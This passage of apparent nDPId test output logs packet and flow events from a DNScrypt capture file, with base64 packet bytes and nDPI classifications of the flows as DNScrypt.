+00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":89,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789813,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ60IAub0RotsKAAABMw96+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":89,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":90,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38362,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789862,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc60NAAL0RYccKAAABMw96+pXaAbsCCHDfxkUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":90,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38362,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00663{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":791217,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSRcUAADIREz4pT0UNCgAAAQG723EAvtvWBsGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAA1OqoPAErbOR3M17\/\/Kp81C0M1irw8YLMFAcPIvcR6xyplTIczMGQTrzWWN9IPA9l2Zy1iwuUTL7se0EmV4wWC0NhfmNsLEH2LkBE84etohseSn740G5SsmjVFMMQ1O1aQ2F+Y2wsQfZfU52hX1OdoV9U7yE="} +00663{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":793685,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSRcgAADIREzspT0UNCgAAAQG72usAvtxZBsSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAA1OqoPAErbOR3M17\/\/Kp81C0M1irw8YLMFAcPIvcR6xyplTIczMGQTrzWWN9IPA9l2Zy1iwuUTL7se0EmV4wWC0NhfmNsLEH2LkBE84etohseSn740G5SsmjVFMMQ1O1aQ2F+Y2wsQfZfU52hX1OdoV9U7yE="} +00663{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":804750,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSRcQAADIREz8pT0UNCgAAAQG7lPgAviJOBsOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAA1OqoPAErbOR3M17\/\/Kp81C0M1irw8YLMFAcPIvcR6xyplTIczMGQTrzWWN9IPA9l2Zy1iwuUTL7se0EmV4wWC0NhfmNsLEH2LkBE84etohseSn740G5SsmjVFMMQ1O1aQ2F+Y2wsQfZfU52hX1OdoV9U7yE="} +00663{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":806659,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSRccAADIREzwpT0UNCgAAAQG7tJUAvgKyBsKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAA1OqoPAErbOR3M17\/\/Kp81C0M1irw8YLMFAcPIvcR6xyplTIczMGQTrzWWN9IPA9l2Zy1iwuUTL7se0EmV4wWC0NhfmNsLEH2LkBE84etohseSn740G5SsmjVFMMQ1O1aQ2F+Y2wsQfZfU52hX1OdoV9U7yE="} +00663{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":810467,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSRckAADIREzopT0UNCgAAAQG7qWUAvg3fBsWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAA1OqoPAErbOR3M17\/\/Kp81C0M1irw8YLMFAcPIvcR6xyplTIczMGQTrzWWN9IPA9l2Zy1iwuUTL7se0EmV4wWC0NhfmNsLEH2LkBE84etohseSn740G5SsmjVFMMQ1O1aQ2F+Y2wsQfZfU52hX1OdoV9U7yE="} +00662{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":815021,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTDfBAADURyGQzD3r6CgAAAQG7sscAv146xkmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANmtKqgh6GipMki1mJfjDA0AnYgv5x5ccE3t3oFTaUI52T95jfN1yOwZ4Avs9tatx4lCV7PDmZkXQULOG2i1+g8X39eqNuFP4dSqiJZOoeF4tcdLtZP0Xezh1C6PMdZNUhff16o24U\/hAAAAAV9TeY1fVMsN"} +00662{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":818191,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTDfFAADURyGMzD3r6CgAAAQG7l9MAv3kxxkaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANmtKqgh6GipMki1mJfjDA0AnYgv5x5ccE3t3oFTaUI52T95jfN1yOwZ4Avs9tatx4lCV7PDmZkXQULOG2i1+g8X39eqNuFP4dSqiJZOoeF4tcdLtZP0Xezh1C6PMdZNUhff16o24U\/hAAAAAV9TeY1fVMsN"} +00662{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":821171,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTDfJAADURyGIzD3r6CgAAAQG7ldoAv3srxkWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANmtKqgh6GipMki1mJfjDA0AnYgv5x5ccE3t3oFTaUI52T95jfN1yOwZ4Avs9tatx4lCV7PDmZkXQULOG2i1+g8X39eqNuFP4dSqiJZOoeF4tcdLtZP0Xezh1C6PMdZNUhff16o24U\/hAAAAAV9TeY1fVMsN"} +00662{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":821200,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTDfNAADURyGEzD3r6CgAAAQG76T0AvyfFxkiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANmtKqgh6GipMki1mJfjDA0AnYgv5x5ccE3t3oFTaUI52T95jfN1yOwZ4Avs9tatx4lCV7PDmZkXQULOG2i1+g8X39eqNuFP4dSqiJZOoeF4tcdLtZP0Xezh1C6PMdZNUhff16o24U\/hAAAAAV9TeY1fVMsN"} +00663{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":821208,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTDfRAADQRyWAzD3r6CgAAAQG7jzwAv4HHxkeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANmtKqgh6GipMki1mJfjDA0AnYgv5x5ccE3t3oFTaUI52T95jfN1yOwZ4Avs9tatx4lCV7PDmZkXQULOG2i1+g8X39eqNuFP4dSqiJZOoeF4tcdLtZP0Xezh1C6PMdZNUhff16o24U\/hAAAAAV9TeY1fVMsN"} +00663{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":821381,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTDfVAADURyF8zD3r6CgAAAQG7mF8Av3inxkSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANmtKqgh6GipMki1mJfjDA0AnYgv5x5ccE3t3oFTaUI52T95jfN1yOwZ4Avs9tatx4lCV7PDmZkXQULOG2i1+g8X39eqNuFP4dSqiJZOoeF4tcdLtZP0Xezh1C6PMdZNUhff16o24U\/hAAAAAV9TeY1fVMsN"} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":102,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":59476,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155161,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcU1NAAL0RVBEKAAABizvIdOhUAbsCCBaGc5UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":102,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":59476,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":103,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":47341,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155166,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcU1RAAL0RVBAKAAABizvIdLjtAbsCCBaGc5EBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":103,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":47341,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":104,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":50335,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155210,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcU1VAAL0RVA8KAAABizvIdMSfAbsCCBaGc5MBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":50335,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":105,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":43633,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155235,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcU1YgAL0RcE4KAAABizvIdKpxAbsGBMEKc5QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":105,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":43633,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":106,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155243,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQU1YAub0RlSEKAAABizvIdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 